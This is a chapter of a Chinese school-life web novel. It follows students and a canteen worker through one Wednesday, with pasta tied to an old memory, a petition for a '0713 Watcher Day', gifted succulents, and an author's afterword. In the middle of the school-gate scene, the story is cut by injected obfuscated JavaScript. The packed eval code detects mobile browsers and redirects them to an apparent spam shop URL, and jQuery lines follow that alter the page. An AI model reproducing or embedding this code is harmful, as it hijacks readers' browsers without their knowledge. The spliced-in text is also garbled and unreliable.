第十八章：守望者海域与那些还没寄出的信·续
---
【周三·清晨·六点零三分·男生宿舍·楼道】
陆微醒了。
不是自然醒。
是被吵醒的。
走廊里有人在跑步——不对，不是跑步，是那种“急着去上厕所但昨晚水喝多了”的小碎步。
他翻了个身。
把被子蒙在头上。
三秒。
脚步声又回来了。
这次是两个人。
“……你看见我那双袜子了吗？”
“没看见。”
“灰色那对。”
“你只有灰色袜子。”
“那就是唯一那对！”
陆微把被子掀开。
他坐起来。
头发乱得像被轰炸过。
眼睛眯成一条缝——不是困，是愤怒。
他拉开门。
走廊里，洛知予正蹲在地上，把自己的书包翻了个底朝天。
林小满站在旁边，手里端着一杯豆浆。
“……你袜子找到了吗？”她问。
“没有！”洛知予悲愤，“今天轮到我升旗！穿什么！”
“穿皮鞋不用露袜子。”
“那我的脚后跟会磨破！”
“那你穿运动鞋。”
“运动鞋配校服裤很难看！”
林小满沉默了。
她喝了一口豆浆。
“……你平时画地图的时候不是挺有审美吗。”
“画地图是画地图！穿搭是穿搭！”
陆微靠在门框上。
他用尽毕生自制力，才没有把“你们俩能不能去别的地方吵”说出口。
但他的眼神已经说出来了。
洛知予抬起头。
“……陆微？”
“嗯。”
“你醒了？”
“……你说呢。”
洛知予愣了一下。
然后他低头看了一眼手机。
06:05。
他又抬头看了一眼陆微。
“……你平时不是睡到七点半吗。”
陆微没有说话。
他的眼神在说：你也知道。
洛知予讪讪地把书包拉链拉上。
“那、那我回宿舍找……”
他转身。
跑走。
林小满端着豆浆，站在原地。
她看着陆微。
三秒。
“……你黑眼圈比昨天深了。”她说。
“嗯。”
“昨晚没睡好？”
“睡了。”
“那怎么还有黑眼圈？”
陆微看着她。
“因为黑眼圈是长期投资。”他说。
“昨晚的睡眠只是补昨天的债，前天的债还在账上。”
林小满沉默了。
她把豆浆杯放下。
从口袋里摸出一支遮瑕棒。
递过去。
“……”陆微没接。
“刘金凤阿姨给我的。”林小满说，“她说后厨油烟大，脸色容易暗沉。”
“我不是脸色暗沉。”
“那你是什么？”
陆微沉默了三秒。
“……算了。”他接过遮瑕棒。
“谢谢。”
林小满笑了一下。
小梨涡又出现了。
“不客气。”她说。
“反正你也用不完。”
“为什么？”
“因为你每天睡四觉。”
“遮了也白遮。”
陆微看着手里那支遮瑕棒。
三秒。
“……你说得对。”他把遮瑕棒还回去。
“还是留给刘阿姨吧。”
他转身。
走回宿舍。
关门前，他的声音从门缝里飘出来：
“以后要吵去食堂吵。”
“——”
“这里有人要维护国际形象。”
林小满愣了一下。
“……什么国际形象？”
门已经关上了。
她站在原地。
想了很久。
然后她低头。
把遮瑕棒收进口袋。
——她决定不告诉陆微，刚才他那句话，洛知予没听见。
但她听见了。
——他说“这里有人要维护国际形象”。
——“有人”。
——不是“我”。
是“这里”。
——他把他的宿舍，划进了需要维护的领地。
——他把走廊里吵醒他的人，划进了“自己人”。
她端起豆浆。
喝了一口。
——有点甜。
——明明没放糖。
---
【周三·上午七点十七分·食堂二号窗】
刘金凤今天多打了一锅面。
不是因为人多。
是因为她昨晚做了一个梦。
梦里，十五年前那个穿灰色开衫的男人又来了。
还是站在二号窗口前。
还是问她：“阿姨，你们这什么最好吃？”
她说：“意面。”
他说：“那我要两份。”
“一份现在吃，一份留给以后会来的人。”
她问：“你那个‘以后会来的人’，叫什么名字？”
他笑了一下。
眼睛眯起来。
“沈悸冥。”
“——”
“他笑起来很好看。”
“但他笑的时候，眼睛不是弯的，是眯的。”
“眯起来是因为怕别人看见他在难过。”
“——”
“我一直都知道。”
“只是来不及告诉他了。”
刘金凤醒了。
窗外天还没亮。
她躺了三分钟。
然后起床。
穿衣服。
骑车到学校。
比平时早了四十分钟。
她把意面锅洗了三遍。
把酱汁调了两锅。
把档口牌擦了又擦。
然后她站在窗口后面。
等一个人。
七点二十三分。
沈悸冥走进食堂。
他今天没有带咖啡。
也没有带那本跑车杂志。
他只是走到二号窗口前。
站定。
“阿姨。” 他说。
“一份意面。”
刘金凤看着他。
七年了。
这孩子长高了。
眉眼长开了。
笑起来的时候，眼睛还是眯着的。
——和渊说的一模一样。
“……你认识渊吗？” 她问。
沈悸冥愣了一下。
“认识。” 他说。
“他是我……”
他顿了一下。
“他是我等的人。”
刘金凤没有说话。
她把意面捞起来。
酱汁浇上去。
肉末。
番茄。
一点罗勒叶。
——和十五年前，渊点的那份，一模一样。
她把餐盘推过去。
“认识。” 她说。
“他十五年前来过这。”
“——”
“点了两份意面。”
“一份自己吃。”
“一份留给以后会来的人。”
沈悸冥低头看着那盘意面。
很久。
“……他没说是留给谁的？” 他问。
“说了。” 刘金凤说。
“他说：‘他笑起来很好看。’”
“——”
“但他笑的时候，眼睛不是弯的，是眯的。”
“眯起来是因为怕别人看见他在难过。”
“——”
“他说：‘我一直都知道。’”
“只是来不及告诉他了。”
沈悸冥没有说话。
他端起那盘意面。
走到靠窗的位置。
坐下。
低头。
吃了一口。
——酱汁是十五年前的味道。
——罗勒叶放得有点多。
——面条煮得稍微过软。
——和他平时吃的不一样。
——这是渊十五年前吃的那份。
——他按照记忆里的配方，复刻出来的。
他吃了很久。
比平时慢一倍。
吃完。
他把餐盘端回去。
“阿姨。” 他说。
“嗯？”
“他十五年前——” 沈悸冥顿了顿。
“还说了什么？”
刘金凤看着他。
“他说——”
“‘如果哪天他来了，别告诉他我来过。’”
“‘就说是你自己想请他吃。’”
沈悸冥没有说话。
他站在那里。
三秒。
五秒。
然后他低下头。
“……他这人。” 他说。
“——”
“烦死了。”
刘金凤没有接话。
她把餐盘收走。
锅里的面汤还在咕嘟咕嘟冒泡。
“烦。” 她说。
“但你还是等了七年。”
沈悸冥没有说话。
他转身。
走了几步。
又停下来。
“……阿姨。”
“嗯？”
“他十五年前——”
“点的那两份意面。”
“另一份——”
“他自己吃了吗？”
刘金凤愣了一下。
她想了很久。
十五年了。
她只记得渊端着餐盘走到靠窗的位置。
坐下。
低头。
吃了一口。
然后他抬起头。
看着窗外。
很久。
“……没吃。” 她说。
“他端着那盘面，坐了四十分钟。”
“一口都没动。”
“——”
“然后他站起来。”
“走了。”
沈悸冥没有说话。
他把手伸进口袋。
摸出那张折成方块的手绘毕业照。
打开。
第一排正中间。
渊。
眯着眼睛。
笑得很轻。
旁边是空了三年的虚线框。
——上周六，他自己把虚线描实了。
——但渊不知道。
“……他那时候。” 沈悸冥说。
“大概在想——”
“等他来吃那盘面的人。”
“什么时候才会来。”
刘金凤没有说话。
她把锅里的面汤倒掉。
“他现在知道了。” 她说。
“——”
“你来了。”
“——”
“那盘面——”
“凉了十五年。”
“也该有人把它吃掉了。”
沈悸冥把那张毕业照折起来。
放回口袋。
“嗯。” 他说。
“——”
“今天我吃了。”
“——”
“替他吃的。”
---
【周三·上午九点整·中央广场】
全息屏亮了一下。
不是系统更新。
是一条推送。
「守望者海域·今日头条」
「复学学生周湛的文档公开后，法务部收到联名信247封。」
「联名内容：申请将7月13日设立为‘守望者日’。」
「发起人：高一三班唐棠」
「联名者名单（部分）：」
「高二三班孟萌」
「高二三班靳朕」
「高二三班陈熠」
「高二七班沈悸冥」
「高二七班程渊」
「高二一班陆微」
「高二六班林鹿鸣」
「高二四班林小满」
「高二七班江野」
「高二七班洛知予」
「高二十班姜澄」
「2019届毕业生方迟」
「——」
「还有237个名字，因篇幅限制暂不展示。」
「完整名单请移步雾海论坛·守望者海域·置顶帖。」
广场上安静了三秒。
然后——
“7月13日是什么日子？”
“0713……这不是乱码哥和0-000第一次见面的日子吗？”
“你怎么知道！”
“论坛有人扒出来的！”
“所以这个‘守望者日’是给他们俩过的？”
“不是。”
“那是给谁过的？”
“给所有等过人的人过的。”
沉默。
然后有人开始鼓掌。
不是那种整齐划一的、领导讲话结束后的鼓掌。
是零星的。
三三两两的。
从广场的不同角落，不同班级，不同年级——
啪。啪。啪。
像春天的第一场雨。
孟萌站在人群边缘。
他看着那块全息屏。
247封联名信。
237个他没有听过的名字。
——这些人，他一个都不认识。
——但他们在等同一个日子。
——等一个“纪念等人”的日子。
他忽然觉得。
这所学校，好像真的和以前不一样了。
手机震了一下。
「样本M-001。」
「嗯？」
「7月13日。」
「0713。」
「你记这个干什么？」
对方正在输入。
很久。
「存着。」
「以后每年这天。」
「请你吃意面。」
孟萌看着那行字。
三秒。
五秒。
他慢慢输入：
「钠含量还是0.32%？」
「嗯。」
「酱汁配方会升级吗？」
「会。」
「每年优化一次。」
「——」
「保质期：无限。」
孟萌把手机按灭。
塞进口袋。
他的耳尖又开始红了。
——但他没发现，他嘴角翘起来的弧度，和靳朕昨天吃他夹的牛肉时，一模一样。
---
【周三·上午十点零三分·旧音乐厅门口】
陆微站在台阶前。
他今天没有睡觉。
——不，他今天睡了。
早上六点被吵醒之后，他回床上躺了四十分钟。
醒来觉得更困了。
但林鹿鸣说，旧音乐厅门口有人找他。
他来了。
没有人。
只有一盆盆栽。
——不是沈悸冥那盆喝咖啡的。
是一盆小多肉。
绿油油的。
肥嘟嘟的。
盆底压着一张便签纸。
「给陆微」
「——」
「听刘阿姨说，你在宿舍养了一盆多肉。」
「养了三年，没开花。」
「这盆是我从疗养院带回来的。」
「养了两年七个月，也没开花。」
「——」
「护士说这个品种不开花。」
「我不信。」
「——」
「现在有两盆了。」
「总有一盆会开的吧。」
「——周湛」
陆微蹲下来。
他看着那盆多肉。
三秒。
他把便签纸折起来。
放进口袋。
然后他端起那盆多肉。
站起来。
走了两步。
又停下来。
他把多肉放在台阶边——阳光最好的位置。
“……你养了两年七个月。” 他说。
“我养了三年。”
“——”
“都没开花。”
“——”
“可能是土的问题。”
他把多肉又往里挪了挪。
“换个位置试试。” 他说。
“——”
“旧音乐厅这里，阳光好。”
“说不定就开了。”
他站起来。
拍拍膝盖上的灰。
走了。
那盆多肉静静地立在台阶边。
叶尖上凝着一滴露水。
——阳光照在上面，亮晶晶的。
像一颗还没来得及落下的眼泪。
---
【周三·中午十二点零七分·食堂二号窗】
刘金凤把档口牌翻过来。
「营业中」
队伍从窗口排到了门口。
今天是一百八十七份。
她把锅洗了。
把灶台擦了。
把明天要用的酱汁调好——还是陈熠的配方。
然后她抬起头。
队伍里，今天多了几张新面孔。
——那个每天端着两份意面的冷脸男生。
——他旁边坐着的、背旧书包的复学生。
——那个笑起来有小梨涡的女孩。
——她旁边那个画地图的男生。
——寸头、校服扣到第一颗的方迟。
——穿灰色开衫、和方迟并肩站的程渊。
——还有门口那桌，沈悸冥和渊。
——渊来了。
——七年了。
——他终于坐在那个靠窗的位置。
——吃那份十五年前就该有人吃的意面。
刘金凤把锅放下。
她从后厨摸出那块老式收音机。
拧开。
里面那首很老的歌还在放。
她跟着哼了几句。
窗外的阳光从玻璃窗斜着切进来。
把食堂照成暖黄色。
——像十五年前，渊第一次走进来的那个午后。
——
渊低头吃了一口意面。
他嚼了嚼。
然后他抬起头。
“……酱汁改了？” 他问。
“嗯。” 刘金凤说。
“你儿子改的。”
渊愣了一下。
他看向坐在角落的陈熠。
陈熠正在埋头吃面。
没抬头。
但渊看见他的筷子停了一下。
——三秒。
——然后继续吃。
渊收回视线。
他又吃了一口。
“……好吃。” 他说。
刘金凤没有接话。
她把收音机的音量拧大了一点。
——这孩子，和他爸一个样。
做了也不说。
说了也像没说。
——但他爸吃出来了。
——他爸知道这酱汁是儿子改的。
——他爸说“好吃”。
——这就够了。
---
【周三·下午两点零三分·高二三班·教室】
下午第一节课是历史。
周湛坐在倒数第三排靠窗的位置。
面前摊着课本。
但他没有看。
他在看窗外。
——不是发呆。
是在看楼下广场那块全息屏。
「守望者日·联名信」
「当前联名人数：473」
「发起人：唐棠（高一三班）」
「联名截止时间：本周五18:00」
他看了很久。
然后他低下头。
从笔记本上撕下一页纸。
开始写。
「联名信」
「我，周湛，2019届休学生，2026届复学生。」
「赞成将7月13日设立为守望者日。」
「——」
「理由：」
「7月13日，0713。」
「三年前的这天，有人删掉了我。”
「不是从名单上划掉。」
「是把自己的权限，换成了我的自由。」
「——」
「我不知道他那天有没有吃早饭。”
「也不知道他删完那47个名字之后，有没有后悔。”
「——」
「但我知道。”
「0713之后，我再也没有被系统标记过。”
「再也没有被列入任何‘预备名单’。”
「再也没有担心过——”
「自己会因为‘优秀’而被复制。”
「——」
「所以0713。”
「对我来说——”
「不是纪念日。”
「是生日。”
「——」
「周湛」
他把纸折起来。
放进口袋。
然后他站起来。
走到讲台前。
班主任刘敏正在批改作业。
“……老师。” 周湛说。
刘敏抬起头。
“我想去一趟行政楼。” 他说。
“法务部。”
“——”
“交联名信。”
刘敏看着他。
三秒。
“去吧。” 她说。
“——”
“第二节是自习。”
“不扣分。”
周湛点了点头。
他转身。
走出教室。
走廊很长。
阳光从窗户斜着切进来。
他把手伸进口袋。
握着那封折成方块的联名信。
——473个人。
——473个名字。
——他是第474个。
他忽然想起来。
三年前，他从门卫室窗台缝里塞进去的那封信。
写给三年后的自己。
问：“你还会回来吗？”
他没有等到那封信。
但他等到了这个。
——473个人，和他一起，等同一个日子。
——473个人，和他一样，相信有人值得被记住。
——473个人。
——还有他自己。
第474个。
---
【周三·下午三点四十七分·行政楼·法务部】
法务顾问抬起头。
他看着面前这个复学第三天的学生。
灰色运动服。
头发很长。
瘦。
但眼神很亮。
“……你来交联名信？” 他问。
“嗯。”
“你知道联名信是交给唐棠汇总的吗？”
“知道。”
“那你为什么来法务部？”
周湛沉默了几秒。
“因为——” 他说。
“这封信，不是给唐棠的。”
“——”
“是给系统的。”
法务顾问愣了一下。
“……什么意思？”
周湛把那封信放在桌上。
「赞成将7月13日设立为守望者日。」
「——」
「理由：」
「0713之后，我再也没有被系统标记过。」
「——」
「所以0713。」
「对我来说——」
「不是纪念日。」
「是生日。」
法务顾问看完。
没有说话。
很久。
“……你知道。” 他说。
“系统不会因为一封联名信，就增设一个法定纪念日。”
“嗯。”
“这需要校董会投票。”
“嗯。”
“需要报教育主管部门审批。”
“嗯。”
“需要——”
“我知道。” 周湛打断他。
他抬起头。
看着法务顾问。
“——”
“但系统也不会因为一个学生删掉47个名字——”
“就给他一个人过生日。”
“——”
“所以我把生日捐出来。”
“捐给所有——”
“和他一样，被删掉过的人。”
“——”
“和他一样——”
“还不知道自己值得被记住的人。”
法务顾问沉默了很久。
久到窗外那棵梧桐树的影子，从地板上挪走了三寸。
然后他站起来。
把那封信收进抽屉。
“这封信。” 他说。
“我会转交给校董会。”
“——”
“以法务部的名义。”
“附上173票赞成的守望者计划审议记录。”
“和那247封联名信。”
周湛看着他。
“……谢谢。” 他说。
法务顾问摆摆手。
“不谢。” 他说。
“——”
“你捐生日那天——”
“记得请我吃蛋糕。”
周湛愣了一下。
然后他低下头。
“……好。” 他说。
“——”
“0713。”
“请你吃二号窗的意面。”
“——”
“靳朕调的配方。”
“钠含量0.32%。”
---
【周三·傍晚十七点四十七分·校门口】
老张把第七杯茶倒进保温杯盖。
今天日志写了很多。
「07:23，沈悸冥来食堂。」
「刘金凤告诉他渊十五年前来过。」
「他吃了那份意面。」
「——替渊吃的。」
「——凉了十五年。」
「——他说好吃。」
「09:00，联名信破三百。」
「10:03，陆微来旧音乐厅取多肉。」
「周湛送的。」
「他放台阶上了。」
「——阳光最好的位置。」
「12:07，渊来了。」
「他吃了陈熠改配方的那份意面。」
「他说好吃。」
「14:03，周湛写了联名信。」
「15:47，他交到法务部。」
「——他把生日捐出来了。」
「捐给0713。」
「捐给所有被删掉过的人。」
「——」
「这孩子。」
「等了三年。」
「回来第三天。」
「把能做的事都做了。」
「——」
「现在他站在门口。」
「又没走。」
老张放下笔。
端起茶杯。
他看着窗外。
周湛站在门卫室门口。
不是要出去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218663|197471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不是要进来。
就是站着。
老张把茶杯放下。
“……等车？” 他问。
“不是。”
“等人？”
周湛沉默了几秒。
“……等花。” 他说。
老张愣了一下。
“什么花？”
周湛把手伸进口袋。
摸出一张便签纸。
「这盆是我从疗养院带回来的。」
「养了两年七个月，没开花。」
「——」
「护士说这个品种不开花。」
「我不信。」
「——」
「现在有两盆了。」
「总有一盆会开的吧。」
他看了三秒。
然后把便签纸折起来。
放回口袋。
“……我送了一盆给陆微。” 他说。
“嗯。”
“他放旧音乐厅台阶上了。”
“嗯。”
“——”
“我今天去看了。”
“——”
“阳光很好。”
“土也换了。”
“——”
“应该快开了。”
老张看着他。
“……那你等的是陆微那盆？” 他问。
“不是。” 周湛说。
“——”
“等我那盆。”
“——”
“还在宿舍窗台上。”
“——”
“今天忘了浇水。”
老张沉默了三秒。
然后他站起来。
从门卫室里摸出一个塑料喷壶。
“拿去。” 他说。
“——”
“门卫室别的没有。”
“水有的是。”
周湛接过喷壶。
他看着那个塑料喷壶。
很久。
“……谢谢张师傅。” 他说。
他转身。
走进夕阳里。
老张看着他的背影。
十二年了。
什么样的学生他都见过。
——但这种的，真没见过。
等了三年，回来第三天，把生日捐了。
把多肉送了。
然后站在校门口，等花。
——他等的那盆，养了两年七个月，一次花都没开过。
护士说这个品种不开花。
他不信。
——
老张也不信。
他把茶杯端起来。
抿了一口。
——没开花，那是因为没人等。
现在有人等了。
——花会开的。
迟早。
---
【周三·晚十九点零三分·食堂二号窗】
刘金凤把档口牌翻过来。
「营业中」
晚上人少。
窗口只开了一盏灯。
周湛站在队伍里。
前面没人。
后面也没人。
他端着那盘意面。
走到靠窗的位置。
坐下。
低头吃。
——今天的面条，煮得比平时软一点。
——可能是阿姨知道他要来。
——特意煮软了。
他吃得很慢。
像在数每一根面条。
吃完。
他把盘子端回收碗处。
刘金凤正在后厨擦灶台。
“今天的面——” 周湛说。
“嗯？”
“比平时软。”
刘金凤没有回头。
“嗯。” 她说。
“故意的。”
“——”
“你今天走了一整天。”
“累了。”
“——”
“软的好消化。”
周湛站在那里。
很久。
“……谢谢阿姨。” 他说。
刘金凤摆摆手。
“明天还来？” 她问。
“来。”
“那明天给你煮硬一点。”
“——”
“你不是喜欢吃有嚼劲的吗。”
周湛愣了一下。
“……你怎么知道？”
刘金凤没有回答。
她把抹布挂好。
“三年了。” 她说。
“你三年前来过。”
“——”
“那天二号窗还没开。”
“你站在窗口前面，看了很久。”
“我问你找谁。”
“你说——”
“不找谁。”
“——”
“就看看。”
周湛没有说话。
他低下头。
“……你还记得。” 他说。
“记得。” 刘金凤说。
“——”
“那天你也穿这件灰色运动服。”
“头发比现在短。”
“——”
“瘦。”
“——”
“像好久没好好吃饭了。”
周湛没有说话。
他把手伸进口袋。
摸出那封折成方块的、渊写给他的信。
展开。
看了一遍。
又看了一遍。
「恨完了，记得回来。」
「——」
「这里的英语课，还在第三单元。」
「你落了三年的进度，得自己补。」
他把信折起来。
放回口袋。
“……我回来了。” 他说。
“——”
“英语课——”
“今天补到第四单元了。”
刘金凤没有回头。
但她擦灶台的动作，停了半拍。
“那明天补第五单元？” 她问。
“嗯。”
“——”
“每天补一个单元。”
“——”
“三个月就追上了。”
“然后呢？”
周湛沉默了几秒。
“然后——” 他说。
“然后就不用补了。”
“——”
“可以往前翻了。”
刘金凤没有说话。
她把灶台擦完了。
抹布挂好。
“行。” 她说。
“那三个月后——”
“我给你煮碗面。”
“——”
“庆祝你翻页。”
---
【周三·晚二十点三十三分·旧音乐厅门口】
周湛又来了。
他也不知道自己为什么来。
可能是想看看那盆多肉。
可能是想确认陆微真的把它放在台阶上了。
——真的放了。
——阳光最好的位置。
——叶尖上还有水。
——刚浇过。
他蹲下来。
看着那盆多肉。
“……陆微帮你浇水了。” 他说。
“——”
“他这个人。”
“嘴上说困。”
“该做的事一件没落。”
多肉没有回答。
叶子还是绿油油的。
肥嘟嘟的。
“……你什么时候开花？” 他问。
“——”
“护士说你不开。”
“——”
“我不信。”
“——”
“陆微也不信。”
“——”
“他还把你搬到这来了。”
“——”
“阳光最好的位置。”
“土也换了。”
“——”
“你再不开花——”
“对得起他吗。”
多肉沉默着。
晚风从檐角穿过。
把它的叶片吹得轻轻晃动。
“……算了。” 周湛说。
“——”
“不急。”
“——”
“我等你。”
他站起来。
拍拍膝盖上的灰。
走了。
那盆多肉静静地立在台阶边。
叶尖上那滴露水还在。
——月光照在上面。
——亮晶晶的。
——像一颗等了很久很久、终于等到有人来看它的眼泪。
---
【周三·晚二十二点零三分·男生宿舍·楼道】
周湛站在宿舍门口。
他推开门。
那盆多肉还在窗台上。
——早上出门前，他忘了浇水。
——晚上回来，土还是湿的。
他愣了一下。
走过去。
低头看。
盆边压着一张便签纸。
不是他的字迹。
「土浇过了。」
「——你隔壁」
周湛看着那行字。
三秒。
他把便签纸折起来。
放进口袋。
然后他拿起喷壶。
给多肉又浇了一点水。
“……有人帮你浇过了。” 他说。
“——”
“你知不知道。”
“——”
“你住这间宿舍。”
“有人帮你浇水。”
“——”
“你还没开花。”
“有人帮你换土。”
“——”
“你再不开花——”
“对得起他们吗。”
多肉沉默着。
月光从窗帘缝隙漏进来。
把它的叶片照成浅绿色。
“……算了。” 周湛说。
“——”
“不急。”
“——”
“反正你也不是一盆。”
“——”
“旧音乐厅还有一盆。”
“——”
“你们俩。”
“总有一个会开的。”
他把喷壶放下。
躺在床上。
天花板是白色的。
没有裂纹。
没有水渍。
没有隔壁老陈喊“有人要毒死我”。
——隔壁换人了。
——换成一个会帮他浇花的人。
他闭上眼睛。
三秒。
五秒。
——他睡着了。
——今晚没有做梦。
——只梦见一盆多肉。
——开花了。
——粉色的。
——很小一朵。
——但确实是开了。
---
---
第十八章·写给读者
这一章，我们做了几件事：
一、帮渊把那盘凉了十五年的意面，喂给沈悸冥吃了。
——刘金凤替他记了十五年。
——沈悸冥替他吃了。
——渊知道了。
——他没说。
——但他今天来食堂了。
——他也吃了一份。
——他说：“好吃。”
——这就够了。
二、帮陆微收了一盆多肉，顺便让他说了句不像他会说的话。
——“这里有人要维护国际形象。”
——他没说“我”。
——他说“这里”。
——他把自己的宿舍划进了“需要维护的领地”。
——他把走廊里吵醒他的人，划进了“自己人”。
——这种话，陆微一辈子不会说第二次。
——所以我们要替他记下来。
三、帮周湛把生日捐了。
——捐给0713。
——捐给所有被删掉过的人。
——捐给那些还不知道自己值得被记住的人。
——他等了三年，回来第三天，做了这件事。
——没有犹豫。
——没有后悔。
——只是站在校门口，问张师傅借了一个喷壶。
——然后回去浇花。
四、帮那两盆多肉换了土、浇了水、搬到了阳光最好的位置。
——周湛养的那盆，还在宿舍窗台上。
——陆微收的那盆，放在旧音乐厅台阶边。
——护士说这个品种不开花。
——周湛不信。
——陆微也不信。
——我们也不信。
——等花开的那天，我们再写一篇番外。
——叫《多肉观察日志》好了。
——（不，还是叫《0.32%的爱与花》吧。）
——（算了，让读者自己起名字。）
——（反正他们会起的。）
五、顺便让所有人都在食堂二号窗吃了一次饭。
——靳朕和陈熠坐在角落。
——孟萌坐在他们中间。
——沈悸冥和渊坐在靠窗。
——方迟和程渊坐在过道那桌。
——陆微、林鹿鸣、林小满、洛知予、江野、姜澄拼了两张长桌。
——周湛一个人坐在窗边。
——刘金凤在后厨煮面。
——老收音机里放着那首很老的歌。
——这是蜃楼学园历史上，第一次。
——没有排名。
——没有任务。
——没有观测协议。
——没有“系统错误”。
——只有二十三份意面。
——和二十三个终于不用再等人的人。
---